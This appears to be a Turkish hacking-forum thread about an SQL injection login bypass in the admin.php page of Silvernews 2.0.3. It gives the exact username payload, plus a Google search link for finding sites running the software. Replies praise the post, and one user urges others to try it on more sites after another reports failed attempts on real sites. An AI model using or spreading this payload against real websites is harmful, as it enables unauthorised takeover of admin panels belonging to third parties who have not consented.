Silvernews 2.0.3 Admin.PHP SQL Injection

[Resources]

Admin.php sayfasında kullanıcı adı ve şifre yerine aşağıdaki bilgileri girip admin olabilirsiniz.

user: ' or isnull(1/0) /*
pass: whatever

Burdan Bakabılırsınız : http://www.google.com.tr/search?hl=tr&q=powered+by+Silvernews&meta=

Kaynak : http://www.securityfocus.com/archive/1/407163

 

[Partizan]

€vt guzeL... eLine sagLik..

 

[blackwolf]

eyw saolasın

 

[cevher---]

abi bunu bana biraz açarmısın bu konularda biraz yenyim

 

[Phara0h]

abi bunu bana biraz açarmısın bu konularda biraz yenyim

AciLAcak birseY y0k d0stum giriyorsum admin paneLine hackLiyorsun

 

[slm_87]

kardes denedım ama olmadı bunu bırazdaha acarmısın neden olmamıs olabılır

 

[korkugecesi]

dostum bu sql innjeksiyon açığıdır. bazı sitelerde açık kapatılmıştır. neden olmadı gibi sorular bu durumda mantıksız kalır. başka sitelerde denemelisiniz.

 

[slm_87]

kactane varsa denedim hicbirine olmadı ya bende sorun var yada artık bu kod gecersiz